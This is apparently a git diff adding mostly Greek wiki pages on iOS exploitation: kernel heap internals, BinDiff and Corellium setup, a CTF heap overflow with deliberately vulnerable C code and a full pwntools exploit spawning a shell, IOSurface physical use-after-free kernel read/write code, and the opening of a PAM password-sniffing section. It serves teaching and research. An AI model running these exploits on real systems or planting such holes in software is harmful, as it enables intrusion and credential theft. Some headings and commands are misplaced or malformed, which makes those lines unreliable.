ορισμένες περιοχές (π.χ. code signing data, entitlements) είναι **read-only** ακόμη και για το kernel. +- Σε **A15/M2+ συσκευές**, αυτός ο ρόλος αντικαθίσταται/ενισχύεται από **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**. +- Αυτά τα hardware-enforced layers σημαίνουν ότι οι attackers δεν μπορούν να ανεβάσουν ένα single heap corruption σε αυθαίρετο patching κρίσιμων security structures. + +### 6. Large Allocations +- Όχι όλες οι allocations περνούν από `kalloc_type`. +- Πολύ μεγάλες αιτήσεις (πάνω από ~16KB) παρακάμπτουν typed zones και εξυπηρετούνται απευθείας από **kernel VM (kmem)** μέσω page allocations. +- Αυτές είναι λιγότερο προβλέψιμες, αλλά και λιγότερο εκμεταλλεύσιμες, καθώς δεν μοιράζονται slabs με άλλα αντικείμενα. + +### 7. Allocation Patterns Attackers Target +Ακόμα και με αυτές τις προστασίες, attackers ψάχνουν για: +- **Reference count objects**: αν μπορέσεις να παραποιήσεις retain/release counters, μπορείς να προκαλέσεις use-after-free. +- **Objects with function pointers (vtables)**: η καταστροφή ενός τέτοιου αντικειμένου ακόμα δίνει control flow. +- **Shared memory objects (IOSurface, Mach ports)**: αυτά παραμένουν στόχοι επειδή γεφυρώνουν user ↔ kernel. + +Αλλά — σε αντίθεση με παλιά — δεν μπορείς απλώς να ψεκάσεις `OSData` και να περιμένεις να βρεθεί δίπλα σε `task_t`. Χρειάζεσαι **type-specific bugs** ή **info leaks** για να πετύχεις. + +### Example: Allocation Flow in Modern Heap + +Υποθέτουμε ότι το userspace καλεί το IOKit για να κάνει allocation ενός `OSData` αντικειμένου: + +1. **Type lookup** → `OSData` αντιστοιχίζεται στη ζώνη `kalloc_type_osdata` (μέγεθος 64 bytes). +2. Έλεγχος per-CPU cache για free elements. +- Αν βρεθεί → επιστροφή ενός. +- Αν είναι άδειο → πάμε στο global freelist. +- Αν το freelist είναι άδειο → allocate νέο slab (σελίδα 4KB → 64 chunks των 64 bytes). +3. Επιστροφή chunk στον caller. + +**Freelist pointer protection**: +- Κάθε freed chunk αποθηκεύει τη διεύθυνση του επόμενου free chunk, αλλά κωδικοποιημένη με ένα secret key. +- Η αντικατάσταση αυτού του πεδίου με attacker δεδομένα δεν θα δουλέψει αν δεν ξέρεις το key. + +## Comparison Table + +| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** | +|---------------------------------|------------------------------------------------------------|--------------------------------------------------| +| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) | +| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) | +| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) | +| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects | +| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages | +| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks | + +## (Old) Physical Use-After-Free via IOSurface + +{{#ref}} +ios-physical-uaf-iosurface.md +{{#endref}} + +--- + +## Ghidra Install BinDiff + +Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it. + +Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and isntall it even if there is a version mismatch. + +### Using BinDiff with Kernel versions + +1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files. +2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on: + +{{#ref}} +../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +{{#endref}} + +3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches. +4. Open each kernelcache so they are automatically analyzed by Ghidra. +5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them. +6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache. + +--- + +## Finding the right XNU version + +If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel). + +For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`. + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-corellium.md b/src/binary-exploitation/ios-exploiting/ios-corellium.md new file mode 100644 index 000000000..033d59473 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-corellium.md @@ -0,0 +1,79 @@ +# iOS Πώς να συνδεθείτε στο Corellium + +{{#include ../../banners/hacktricks-training.md}} + +## **Απαιτήσεις** +- Ένα Corellium iOS VM (jailbroken ή όχι). Σε αυτόν τον οδηγό υποθέτουμε ότι έχετε πρόσβαση στο Corellium. +- Τοπικά εργαλεία: **ssh/scp**. +- (Προαιρετικό) **SSH keys** προστιθέμενα στο project του Corellium σας για εισόδους χωρίς κωδικό. + + +## **Σύνδεση στο iPhone VM από το localhost** + +### A) **Quick Connect (no VPN)** +0) Προσθέστε το ssh key σας στο **`/admin/projects`** (συνιστάται). +1) Ανοίξτε τη σελίδα της συσκευής → **Connect** +2) **Copy the Quick Connect SSH command** που εμφανίζεται στο Corellium και επικολλήστε το στο τερματικό σας. +3) Εισάγετε τον κωδικό ή χρησιμοποιήστε το **SSH key** σας (συνιστάται). + +### B) **VPN → direct SSH** +0) Προσθέστε το ssh key σας στο **`/admin/projects`** (συνιστάται). +1) Σελίδα συσκευής → **CONNECT** → **VPN** → κατεβάστε `.ovpn` και συνδεθείτε με οποιονδήποτε VPN client που υποστηρίζει TAP mode. (Ελέγξτε [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) αν έχετε προβλήματα.) +2) Συνδεθείτε μέσω SSH στη διεύθυνση **10.11.x.x** της VM: +```bash +ssh root@10.11.1.1 +``` +## **Ανεβάστε ένα native binary & εκτελέστε το** + +### 2.1 **Ανέβασμα** +- Αν το Quick Connect σας έδωσε host/port: +```bash +scp -J ./mytool root@10.11.1.1:/var/root/mytool +``` +- Εάν χρησιμοποιείτε VPN (10.11.x.x): +```bash +scp ./mytool -J root@10.11.1.1:/var/root/mytool +``` +## **Μεταφόρτωση & εγκατάσταση εφαρμογής iOS (.ipa)** + +### Path A — **Web UI (ταχύτερο)** +1) Σελίδα συσκευής → καρτέλα **Apps** → **Install App** → επιλέξτε το `.ipa` σας. +2) Από την ίδια καρτέλα μπορείτε να **launch/kill/uninstall**. + +### Path B — **Scripted via Corellium Agent** +1) Χρησιμοποιήστε το API Agent για να **upload** και μετά να **install**: +```js +// Node.js (pseudo) using Corellium Agent +await agent.upload("./app.ipa", "/var/tmp/app.ipa"); +await agent.install("/var/tmp/app.ipa", (progress, status) => { +console.log(progress, status); +}); +``` +### Path C — **Μη jailbroken (σωστή υπογραφή / Sideloadly)** +- Αν δεν έχετε provisioning profile, χρησιμοποιήστε το **Sideloadly** για να επανα-υπογράψετε με το Apple ID σας, ή συνδεθείτε στο **Xcode**. +- Μπορείτε επίσης να εκθέσετε το **VM** στο **Xcode** χρησιμοποιώντας **USBFlux** (βλέπε §5). + + +- Για γρήγορα logs/commands χωρίς **SSH**, χρησιμοποιήστε τη συσκευή **Console** στο UI. + +## **Επιπλέον** + +- **Port-forwarding** (κάνει το VM να φαίνεται τοπικό για άλλα εργαλεία): +```bash +# Forward local 2222 -> device 22 +ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1 +# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/ +``` +- **LLDB remote debugging**: χρησιμοποιήστε τη διεύθυνση **LLDB/GDB stub** που εμφανίζεται στο κάτω μέρος της σελίδας της συσκευής (CONNECT → LLDB). + +- **USBFlux (macOS/Linux)**: παρουσιάστε το VM στο **Xcode/Sideloadly** σαν συσκευή συνδεδεμένη με καλώδιο. + + +## **Συνηθισμένα προβλήματα** +- Απαιτείται **Proper signing** σε **non-jailbroken** συσκευές· unsigned IPAs δεν θα εκκινηθούν. +- **Quick Connect vs VPN**: Το Quick Connect είναι το πιο απλό· χρησιμοποιήστε **VPN** όταν χρειάζεστε τη συσκευή στο τοπικό σας δίκτυο (π.χ., local proxies/tools). +- **No App Store** σε συσκευές Corellium· φέρτε τα δικά σας (re)signed IPAs. + + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md new file mode 100644 index 000000000..7a0caa5f2 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md @@ -0,0 +1,205 @@ +# iOS Πώς να συνδεθείτε στο Corellium + +{{#include ../../banners/hacktricks-training.md}} + +## Vuln Code +```c +#define _GNU_SOURCE +#include +#include +#include +#include + +__attribute__((noinline)) +static void safe_cb(void) { +puts("[*] safe_cb() called — nothing interesting here."); +} + +__attribute__((noinline)) +static void win(void) { +puts("[+] win() reached — spawning shell..."); +fflush(stdout); +system("/bin/sh"); +exit(0); +} + +typedef void (*cb_t)(void); + +typedef struct { +cb_t cb; // <--- Your target: overwrite this with win() +char tag[16]; // Cosmetic (helps make the chunk non-tiny) +} hook_t; + +static void fatal(const char *msg) { +perror(msg); +exit(1); +} + +int main(void) { +// Make I/O deterministic +setvbuf(stdout, NULL, _IONBF, 0); + +// Print address leak so exploit doesn't guess ASLR +printf("[*] LEAK win() @ %p\n", (void*)&win); + +// 1) Allocate the overflow buffer +size_t buf_sz = 128; +char *buf = (char*)malloc(buf_sz); +if (!buf) fatal("malloc buf"); +memset(buf, 'A', buf_sz); + +// 2) Allocate the hook object (likely adjacent in same magazine/size class) +hook_t *h = (hook_t*)malloc(sizeof(hook_t)); +if (!h) fatal("malloc hook"); +h->cb = safe_cb; +memcpy(h->tag, "HOOK-OBJ", 8); + +// A tiny bit of noise to look realistic (and to consume small leftover holes) +void *spacers[16]; +for (int i = 0; i < 16; i++) { +spacers[i] = malloc(64); +if (spacers[i]) memset(spacers[i], 0xCC, 64); +} + +puts("[*] You control a write into the 128B buffer (no bounds check)."); +puts("[*] Enter payload length (decimal), then the raw payload bytes."); + +// 3) Read attacker-chosen length and then read that many bytes → overflow +char line[64]; +if (!fgets(line, sizeof(line), stdin)) fatal("fgets"); +unsigned long n = strtoul(line, NULL, 10); + +// BUG: no clamp to 128 +ssize_t got = read(STDIN_FILENO, buf, n); +if (got < 0) fatal("read"); +printf("[*] Wrote %zd bytes into 128B buffer.\n", got); + +// 4) Trigger: call the hook's callback +puts("[*] Calling h->cb() ..."); +h->cb(); + +puts("[*] Done."); +return 0; +} +``` +Μεταγλωττίστε το με: +```bash +clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c +``` +## Exploit + +> [!WARNING] +> Αυτό το exploit ορίζει τη μεταβλητή περιβάλλοντος `MallocNanoZone=0` για να απενεργοποιήσει το NanoZone. Αυτό είναι απαραίτητο για να έχουμε παρακείμενες κατανομές όταν καλείται `malloc` με μικρά μεγέθη. Χωρίς αυτό, διαφορετικά `mallocs` θα κατανεμηθούν σε διαφορετικές ζώνες και δεν θα είναι παρακείμενα, οπότε το overflow δεν θα λειτουργήσει όπως αναμένεται. +```python +#!/usr/bin/env python3 +# Heap overflow exploit for macOS ARM64 CTF challenge +# +# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting +# a function pointer in an adjacent heap chunk. +# +# Key insights: +# 1. macOS uses different heap zones for different allocation sizes +# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout +# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed) +# +from pwn import * +import re +import sys +import struct +import platform + +# Detect architecture and set context accordingly +if platform.machine() == 'arm64' or platform.machine() == 'aarch64': +context.clear(arch='aarch64') +else: +context.clear(arch='amd64') + +BIN = './heap_groom' + +def parse_leak(line): +m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line) +if not m: +log.failure("Couldn't parse leak") +sys.exit(1) +return int(m.group(1), 16) + +def build_payload(win_addr, extra_pad=0): +# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer] +padding = b'A' * 128 +if extra_pad: +padding += b'B' * extra_pad +# Add the win address to overwrite the function pointer +payload = padding + p64(win_addr) +return payload + +def main(): +# On macOS, we need to disable the Nano zone for adjacent allocations +import os +env = os.environ.copy() +env['MallocNanoZone'] = '0' + +# The correct padding with MallocNanoZone=0 is 432 bytes +# This makes the total distance 560 bytes (128 buffer + 432 padding) +# Try the known working value first, then alternatives in case of heap variation +candidates = [ +432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0) +424, # Try slightly less in case of alignment differences +440, # Try slightly more +416, # 16 bytes less +448, # 16 bytes more +0, # Direct adjacency (unlikely but worth trying) +] + +log.info("Starting heap overflow exploit for macOS...") + +for extra in candidates: +log.info(f"Trying extra_pad={extra} with MallocNanoZone=0") +p = process(BIN, env=env) + +# Read leak line +leak_line = p.recvline() +win_addr = parse_leak(leak_line) +log.success(f"win() @ {hex(win_addr)}") + +# Skip prompt lines +p.recvuntil(b"Enter payload length") +p.recvline() + +# Build and send payload +payload = build_payload(win_addr, extra_pad=extra) +total_len = len(payload) + +log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)") + +# Send length and payload +p.sendline(str(total_len).encode()) +p.send(payload) + +# Check if we overwrote the function pointer successfully +try: +output = p.recvuntil(b"Calling h->cb()", timeout=0.5) +p.recvline(timeout=0.5) # Skip the "..." part + +# Check if we hit win() +response = p.recvline(timeout=0.5) +if b"win() reached" in response: +log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}") +log.success("Shell spawned, entering interactive mode...") +p.interactive() +return +elif b"safe_cb() called" in response: +log.info(f"Failed with extra_pad={extra}, safe_cb was called") +else: +log.info(f"Failed with extra_pad={extra}, unexpected response") +except: +log.info(f"Failed with extra_pad={extra}, likely crashed") + +p.close() + +log.failure("All padding attempts failed. The heap layout might be different.") +log.info("Try running the exploit multiple times as heap layout can be probabilistic.") + +if __name__ == '__main__': +main() +``` +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md new file mode 100644 index 000000000..364b7723b --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -0,0 +1,215 @@ +# iOS Physical Use-After-Free via IOSurface + +{{#include ../../banners/hacktricks-training.md}} + + +## Physical use-after-free + +This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) + +### Memory management in XNU + +Ο **χώρος εικονικών διευθύνσεων μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα στη φυσική μνήμη. Αντίθετα, ο **kernel** χρησιμοποιεί **πίνακες σελίδων (page tables)** για να μεταφράσει εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**. + +#### Levels of Page Tables in iOS + +Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα: + +1. **L1 Page Table (Level 1)**: +* Κάθε καταχώριση εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης. +* Καλύπτει **0x1000000000 bytes** (ή **256 GB**) εικονικής μνήμης. +2. **L2 Page Table (Level 2)**: +* Μια καταχώριση εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB). +* Μια καταχώριση L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να αντιστοιχίσει ολόκληρη την περιοχή από μόνη της. +3. **L3 Page Table (Level 3)**: +* Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε καταχώριση αντιστοιχίζει μία μόνο σελίδα μνήμης **4 KB**. +* Μια καταχώριση L2 μπορεί να δείχνει σε έναν πίνακα L3 αν απαιτείται πιο λεπτομερής έλεγχος. + +#### Mapping Virtual to Physical Memory + +* **Direct Mapping (Block Mapping)**: +* Ορισμένες καταχωρίσεις σε έναν πίνακα σελίδων αντιστοιχίζουν απευθείας ένα εύρος εικονικών διευθύνσεων σε ένα συνεχή εύρος φυσικών διευθύνσεων (σαν συντόμευση). +* **Pointer to Child Page Table**: +* Αν απαιτείται πιο λεπτομερής έλεγχος, μια καταχώριση σε ένα επίπεδο (π.χ. L1) μπορεί να δείχνει σε έναν **child page table** στο επόμενο επίπεδο (π.χ. L2). + +#### Example: Mapping a Virtual Address + +Ας υποθέσουμε ότι προσπαθείτε να προσπελάσετε την εικονική διεύθυνση **0x1000000000**: + +1. **L1 Table**: +* Ο kernel ελέγχει την καταχώριση L1 που αντιστοιχεί σε αυτή την εικονική διεύθυνση. Αν έχει έναν **pointer to an L2 page table**, πηγαίνει σε αυτόν τον πίνακα L2. +2. **L2 Table**: +* Ο kernel ελέγχει τον πίνακα L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η καταχώριση δείχνει σε έναν **L3 page table**, προχωράει εκεί. +3. **L3 Table**: +* Ο kernel αναζητά την τελική καταχώριση L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης. + +#### Example of Address Mapping + +Αν γράψετε τη φυσική διεύθυνση **0x800004000** στην πρώτη θέση του πίνακα L2, τότε: + +* Οι εικονικές διευθύνσεις από **0x1000000000** έως **0x1002000000** αντιστοιχίζονται στις φυσικές διευθύνσεις από **0x800004000** έως **0x802004000**. +* Αυτή είναι μια **block mapping** στο επίπεδο L2. + +Εναλλακτικά, αν η καταχώριση L2 δείχνει σε έναν πίνακα L3: + +* Κάθε σελίδα 4 KB στο εικονικό εύρος **0x1000000000 -> 0x1002000000** θα αντιστοιχίζεται από μεμονωμένες καταχωρίσεις στον L3 πίνακα. + +### Physical use-after-free + +Μια **physical use-after-free** (UAF) συμβαίνει όταν: + +1. Μια διεργασία **εκχωρεί** κάποια μνήμη ως **readable and writable**. +2. Οι **page tables** ενημερώνονται για να αντιστοιχίσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που η διεργασία μπορεί να προσπελάσει. +3. Η διεργασία **αποδεσμεύει** (frees) τη μνήμη. +4. Ωστόσο, λόγω ενός **bug**, ο kernel **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, παρόλο που σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη. +5. Ο kernel μπορεί στη συνέχεια να **επανα-εκχωρήσει αυτή τη "απελευθερωμένη" φυσική μνήμη** για άλλες χρήσεις, όπως **kernel data**. +6. Εφόσον η αντιστοίχιση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να **διαβάσει και να γράψει** σε αυτή τη φυσική μνήμη. + +Αυτό σημαίνει ότι η διεργασία μπορεί να προσπελάσει **σελίδες kernel μνήμης**, οι οποίες μπορεί να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειραγωγήσει μνήμη του kernel**. + +### IOSurface Heap Spray + +Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες του kernel θα εκχωρηθούν στη freed μνήμη, χρησιμοποιεί μια τεχνική που ονομάζεται **heap spray**: + +1. Ο επιτιθέμενος **δημιουργεί μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του kernel. +2. Κάθε αντικείμενο IOSurface περιέχει μια **magic value** σε ένα από τα πεδία του, που το καθιστά εύκολα αναγνωρίσιμο. +3. Σαρώνονται οι **freed pages** για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface "προσγειώθηκε" σε μια freed σελίδα. +4. Όταν βρουν ένα αντικείμενο IOSurface σε μια freed σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν μνήμη του kernel**. + +More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) + +> [!TIP] +> Να γνωρίζετε ότι συσκευές iOS 16+ (A12+) φέρνουν hardware mitigations (όπως PPL ή SPTM) που καθιστούν τις τεχνικές physical UAF πολύ λιγότερο βιώσιμες. +> PPL επιβάλλει αυστηρές MMU προστασίες σε σελίδες σχετικές με code signing, entitlements, και ευαίσθητα kernel δεδομένα, έτσι ακόμη και αν μια σελίδα επαναχρησιμοποιηθεί, οι εγγραφές από userland ή kompromised kernel code σε PPL-protected σελίδες μπλοκάρονται. +> Secure Page Table Monitor (SPTM) επεκτείνει το PPL σκληραίνοντας τις ενημερώσεις των page tables. Διασφαλίζει ότι ακόμη και privileged kernel code δεν μπορεί να επαναχαρτογραφήσει απρόσκοπτα freed σελίδες ή να τροποποιήσει mappings χωρίς να περάσει από secure checks. +> KTRR (Kernel Text Read-Only Region) κλειδώνει την περιοχή του κώδικα του kernel ως read-only μετά το boot. Αυτό αποτρέπει οποιεσδήποτε runtime τροποποιήσεις στον kernel code, κλείνοντας ένα σημαντικό attack vector που συχνά εκμεταλλεύονται τα physical UAF exploits. +> Επιπλέον, οι εκχωρήσεις `IOSurface` είναι πλέον λιγότερο προβλέψιμες και πιο δύσκολες να αντιστοιχιστούν σε user-accessible περιοχές, γεγονός που καθιστά το κόλπο του “magic value scanning” πολύ λιγότερο αξιόπιστο. Και `IOSurface` τώρα προστατεύεται από entitlements και sandbox περιορισμούς. + +### Step-by-Step Heap Spray Process + +1. **Spray IOSurface Objects**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με έναν ειδικό αναγνωριστικό ("magic value"). +2. **Scan Freed Pages**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει εκχωρηθεί σε μια freed σελίδα. +3. **Read/Write Kernel Memory**: Με τη χειραγώγηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα για **arbitrary reads and writes** στη μνήμη του kernel. Αυτό τους επιτρέπει να: +* Χρησιμοποιήσουν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του kernel. +* Χρησιμοποιήσουν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας ένα σταθερό **kernel read/write primitive**. + +Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +```c +void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} +} +``` +Αναζήτηση για **`IOSurface`** αντικείμενα σε μία ελευθερωμένη φυσική σελίδα: +```c +int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + +sprayDone: +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; +} +``` +### Επίτευξη Kernel Read/Write με IOSurface + +Μετά την απόκτηση ελέγχου πάνω σε ένα αντικείμενο IOSurface στη kernel memory (mapped σε μια freed physical page προσβάσιμη από userspace), μπορούμε να το χρησιμοποιήσουμε για **αυθαίρετες λειτουργίες ανάγνωσης και εγγραφής στον kernel**. + +**Key Fields in IOSurface** + +Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία: + +1. **Use Count Pointer**: Επιτρέπει μια **ανάγνωση 32-bit**. +2. **Indexed Timestamp Pointer**: Επιτρέπει μια **εγγραφή 64-bit**. + +Επανεγγράφοντας αυτούς τους δείκτες, τους αναδρομολογούμε σε αυθαίρετες διευθύνσεις στη kernel memory, επιτρέποντας δυνατότητες ανάγνωσης/εγγραφής. + +#### 32-Bit Kernel Read + +Για να εκτελέσουμε ανάγνωση: + +1. Επανεγγράψτε τον **use count pointer** ώστε να δείχνει στη διεύθυνση-στόχο μείον ένα offset 0x14 bytes. +2. Χρησιμοποιήστε τη μέθοδο `get_use_count` για να διαβάσετε την τιμή σε εκείνη τη διεύθυνση. +```c +uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; +} + +uint32_t iosurface_kread32(uint64_t addr) { +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; +} +``` +#### 64-Bit Kernel Write + +Για να πραγματοποιήσετε μια εγγραφή: + +1. Αντικαταστήστε τον δείκτη **indexed timestamp pointer** ώστε να δείχνει στη διεύθυνση-στόχο. +2. Χρησιμοποιήστε τη μέθοδο `set_indexed_timestamp` για να γράψετε μια 64-bit τιμή. +```c +void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +} + +void iosurface_kwrite64(uint64_t addr, uint64_t value) { +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); +} +``` +#### Exploit Flow Recap + +1. **Trigger Physical Use-After-Free**: Οι σελίδες που έχουν απελευθερωθεί είναι διαθέσιμες για επαναχρησιμοποίηση. +2. **Spray IOSurface Objects**: Κατανεμήστε πολλά αντικείμενα IOSurface με μια μοναδική "magic value" στη μνήμη του kernel. +3. **Identify Accessible IOSurface**: Εντοπίστε ένα IOSurface σε μια σελίδα που έχει απελευθερωθεί και την οποία ελέγχετε. +4. **Abuse Use-After-Free**: Τροποποιήστε δείκτες στο αντικείμενο IOSurface για να ενεργοποιήσετε αυθαίρετο **kernel read/write** μέσω των μεθόδων IOSurface. + +Με αυτά τα primitives, το exploit παρέχει ελεγχόμενα **32-bit reads** και **64-bit writes** στη μνήμη του kernel. Επιπλέον βήματα για jailbreak μπορεί να περιλαμβάνουν πιο σταθερά read/write primitives, τα οποία ενδέχεται να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ. PPL σε νεότερες συσκευές arm64e). + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index bd8022a84..332a63cef 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -4,22 +4,23 @@ ## Sniffing Logon Passwords with PAM -Ας διαμορφώσουμε ένα PAM module για να καταγράφει κάθε password που κάθε χρήστης χρησιμοποιεί για login. Αν δεν ξέρεις τι είναι το PAM, έλεγξε: +Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check: + {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Αυτό είναι απλώς μια σύνοψη: +**Για περαιτέρω λεπτομέρειες δείτε το [πρωτότυπο άρθρο](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Αυτό είναι μόνο μια περίληψη: **Technique Overview:** -Τα Pluggable Authentication Modules (PAM) προσφέρουν ευελιξία στη διαχείριση της authentication σε συστήματα βασισμένα σε Unix. Μπορούν να ενισχύσουν την ασφάλεια επιτρέποντας προσαρμογή των διαδικασιών login, αλλά επίσης ενέχουν κινδύνους αν χρησιμοποιηθούν κακόβουλα. Αυτή η σύνοψη περιγράφει μια τεχνική για τη σύλληψη login credentials μέσω PAM, μαζί με στρατηγικές μετριασμού. +Pluggable Authentication Modules (PAM) προσφέρουν ευελιξία στη διαχείριση authentication σε συστήματα βασισμένα σε Unix. Μπορούν να ενισχύσουν την ασφάλεια προσαρμόζοντας τις διαδικασίες login αλλά επίσης εγκυμονούν κινδύνους αν χρησιμοποιηθούν κακόβουλα. Αυτή η περίληψη περιγράφει μια τεχνική για την καταγραφή login credentials χρησιμοποιώντας PAM, μαζί με στρατηγικές μετριασμού. **Capturing Credentials:** -- Ένα bash 